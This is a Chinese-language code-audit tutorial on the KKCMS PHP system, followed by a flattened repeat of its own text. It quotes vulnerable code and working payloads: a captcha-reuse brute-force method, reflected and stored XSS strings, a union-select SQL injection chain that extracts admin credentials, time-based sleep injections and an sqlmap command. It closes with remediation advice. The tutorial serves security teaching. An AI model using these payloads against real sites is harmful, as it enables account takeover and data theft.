记一次较为详细的某CMS代码审计
字数 1644 2025-08-26 22:11:34

KKCMS代码审计详细教学文档

前言

本次审计使用Seay+昆仑镜(Kunlun-M)进行漏洞扫描,结合两者的优势:

  • Seay方便查看各个文件
  • 昆仑镜能快速扫描出更多漏洞点

昆仑镜官方地址:https://github.com/LoRexxar/Kunlun-M

环境搭建

KKCMS环境搭建

  1. 下载KKCMS源码:https://github.com/liumengxiang/kkcms
  2. 解压至phpstudy目录下
  3. 访问install目录
  4. 新建kkcms数据库
  5. 安装过程中使用该数据库
  6. 安装完成后开始审计

目录结构

admin/       后台管理目录
css/        CSS样式表目录
data/       系统处理数据相关目录
install/    网页安装目录
images/     系统图片存放目录
template/   模板目录
system/     管理目录

漏洞审计

1. 验证码重用漏洞

文件位置:admin/cms_login.php

漏洞分析

if(isset($_POST['submit'])){
    if ($_SESSION['verifycode'] != $_POST['verifycode']) {
        alert_href('验证码错误','cms_login.php');
    }
    // 其他验证逻辑...
}

验证码生成文件

<?php
session_start();
$image = imagecreate(50, 34);
$str = '0123456789';
$rand_str = '';
for ($i = 0; $i < 4; $i++){
    $k = mt_rand(1, strlen($str));
    $rand_str .= $str[$k - 1];
}
$_SESSION['verifycode'] = $rand_str;
// 生成验证码图片...
?>

利用方法

  1. 使用Burpsuite抓取登录请求
  2. 发送到Intruder模块
  3. 在密码字段添加变量
  4. 加载常用弱口令字典
  5. 开始爆破(因为Burpsuite默认不解析JS,可以绕过验证码)

2. XSS漏洞

2.1 wap/shang.php

漏洞代码

// 直接输出$_GET['fee']参数
echo $_GET['fee'];

Payload

fee=<script>alert(1)</script>

2.2 wap/seacher.php

漏洞代码

$q=$_POST['wd'];
// 直接输出$q变量
<title>搜索<?php echo $q?>-<?php echo $xtcms_seoname;?></title>
<meta name="keywords" content="<?php echo $q?>,<?php echo $xtcms_keywords;?>">

Payload
POST请求中:

wd=<script>alert(1)</script>

2.3 wap/movie.php

漏洞代码

$yourneed = $_GET['m'];
echo getPageHtml($page,$fenye,'movie.php?m='.$yourneed.'&page=');

Payload

m="><script>alert(111)</script>

同类文件

  • wap/tv.php
  • wap/zongyi.php
  • wap/dongman.php

2.4 admin/cms_ad.php(存储型XSS)

漏洞位置:后台广告管理

利用方法

  1. 在广告名称处插入XSS代码
  2. 保存后,访问首页触发

Payload

<script>alert(1)</script>

2.5 youlian.php

漏洞代码

$data['content'] = addslashes($_POST['content']);
// 输出时未过滤

Payload

<a href=Javascript:alert(1)>xss</a>

2.6 admin/cms_kamilist.php

漏洞代码

<input id="id" class="input" type="hidden" name="id" value="<?php echo $_GET["id"] ?>"/>

Payload

id="><script>alert(1)</script>

2.7 wx_api.php

漏洞代码

public function valid() {
    $echoStr = $_GET["echostr"];
    if($this->checkSignature()){
        echo $echoStr;
        exit;
    }
}

Payload

?echostr=<script>alert('别当舔狗')</script>&signature=da39a3ee5e6b4b0d3255bfef95601890afd80709

3. SQL注入漏洞

3.1 bplay.php

漏洞代码

$result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['play'].' ');

利用方法

  1. 确定字段数:
play=1 order by 17  // 正常
play=1 order by 18  // 错误
  1. 联合查询:
play=-1 union select 1,2,3,0,0,6,7,8,9,10,11,12,13,14,15,16,17
  1. 查库:
play=-1 union select 1,2,3,0,0,6,7,8,database(),10,11,12,13,14,15,16,17
  1. 查表:
play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(table_name) from information_schema.tables where table_schema=database()),10,11,12,13,14,15,16,17
  1. 查列:
play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(column_name) from information_schema.columns where table_name=0x626565735f61646d696e),10,11,12,13,14,15,16,17
  1. 查数据:
play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(admin_name,0x7e,admin_password) from bees_admin),10,11,12,13,14,15,16,17

3.2 wap/login.php

漏洞代码

$username = stripslashes(trim($_POST['name']));
$query = mysql_query("select u_id from xtcms_user where u_name='$username'");

利用方法

  1. 使用Burpsuite抓包
  2. 保存为txt文件
  3. 使用SQLmap:
python sqlmap.py -r request.txt --dbs --batch

3.3 vlist.php

漏洞代码

$result = mysql_query('select * from xtcms_vod_class where c_pid='.$_GET['cid'].' order by c_sort desc,c_id asc');

利用方法

cid=1) and sleep(5) --+

3.4 admin/cms_admin_edit.php

漏洞代码

$result = mysql_query('select * from xtcms_manager where m_id = '.$_GET['id'].'');

利用方法

id=1 and sleep(5)

同类文件

  • admin/cms_user_edit.php
  • admin/cms_nav_edit.php
  • admin/cms_detail_edit.php
  • admin/cms_channel_edit.php
  • admin/cms_check_edit.php
  • admin/cms_player_edit.php
  • admin/cms_slideshow_edit.php
  • admin/cms_ad_edit.php
  • admin/cms_link_edit.php
  • admin/cms_usercard_edit.php
  • admin/cms_youlian_edit.php

3.5 admin/cms_detail.php

漏洞代码

$sql = 'select * from xtcms_vod where d_parent in ('.$_GET['cid'].') order by d_id desc';

Payload

cid=1) and sleep(1) --+

3.6 ucenter/repass.php

漏洞代码

$username = stripslashes(trim($_POST['name']));
$query = mysql_query("select u_id from xtcms_user where u_name='$username' and u_email='$email'");

Payload

name=1' AND (SELECT 3775 FROM (SELECT(SLEEP(5)))OXGU) AND 'XUOn'='XUOn&email=1@qq.com

同类文件

  • ucenter/active.php
  • ucenter/reg.php

总结

通过本次审计,我们发现了KKCMS中存在的多种安全漏洞,包括:

  1. 验证码重用漏洞
  2. 多种XSS漏洞(反射型、存储型)
  3. 多处SQL注入漏洞

防护建议

  1. 对所有用户输入进行严格过滤和转义
  2. 使用预编译语句防止SQL注入
  3. 对输出内容进行HTML实体编码
  4. 实现验证码一次性使用机制
  5. 对敏感操作增加二次验证

参考文献

  1. https://xz.aliyun.com/t/7711
  2. https://xz.aliyun.com/t/11322#toc-2
KKCMS代码审计详细教学文档 前言 本次审计使用Seay+昆仑镜(Kunlun-M)进行漏洞扫描,结合两者的优势: Seay方便查看各个文件 昆仑镜能快速扫描出更多漏洞点 昆仑镜官方地址:https://github.com/LoRexxar/Kunlun-M 环境搭建 KKCMS环境搭建 下载KKCMS源码:https://github.com/liumengxiang/kkcms 解压至phpstudy目录下 访问install目录 新建kkcms数据库 安装过程中使用该数据库 安装完成后开始审计 目录结构 漏洞审计 1. 验证码重用漏洞 文件位置 :admin/cms_ login.php 漏洞分析 : 验证码生成文件 : 利用方法 : 使用Burpsuite抓取登录请求 发送到Intruder模块 在密码字段添加变量 加载常用弱口令字典 开始爆破(因为Burpsuite默认不解析JS,可以绕过验证码) 2. XSS漏洞 2.1 wap/shang.php 漏洞代码 : Payload : 2.2 wap/seacher.php 漏洞代码 : Payload : POST请求中: 2.3 wap/movie.php 漏洞代码 : Payload : 同类文件 : wap/tv.php wap/zongyi.php wap/dongman.php 2.4 admin/cms_ ad.php(存储型XSS) 漏洞位置 :后台广告管理 利用方法 : 在广告名称处插入XSS代码 保存后,访问首页触发 Payload : 2.5 youlian.php 漏洞代码 : Payload : 2.6 admin/cms_ kamilist.php 漏洞代码 : Payload : 2.7 wx_ api.php 漏洞代码 : Payload : 3. SQL注入漏洞 3.1 bplay.php 漏洞代码 : 利用方法 : 确定字段数: 联合查询: 查库: 查表: 查列: 查数据: 3.2 wap/login.php 漏洞代码 : 利用方法 : 使用Burpsuite抓包 保存为txt文件 使用SQLmap: 3.3 vlist.php 漏洞代码 : 利用方法 : 3.4 admin/cms_ admin_ edit.php 漏洞代码 : 利用方法 : 同类文件 : admin/cms_ user_ edit.php admin/cms_ nav_ edit.php admin/cms_ detail_ edit.php admin/cms_ channel_ edit.php admin/cms_ check_ edit.php admin/cms_ player_ edit.php admin/cms_ slideshow_ edit.php admin/cms_ ad_ edit.php admin/cms_ link_ edit.php admin/cms_ usercard_ edit.php admin/cms_ youlian_ edit.php 3.5 admin/cms_ detail.php 漏洞代码 : Payload : 3.6 ucenter/repass.php 漏洞代码 : Payload : 同类文件 : ucenter/active.php ucenter/reg.php 总结 通过本次审计,我们发现了KKCMS中存在的多种安全漏洞,包括: 验证码重用漏洞 多种XSS漏洞(反射型、存储型) 多处SQL注入漏洞 防护建议 : 对所有用户输入进行严格过滤和转义 使用预编译语句防止SQL注入 对输出内容进行HTML实体编码 实现验证码一次性使用机制 对敏感操作增加二次验证 参考文献 https://xz.aliyun.com/t/7711 https://xz.aliyun.com/t/11322#toc-2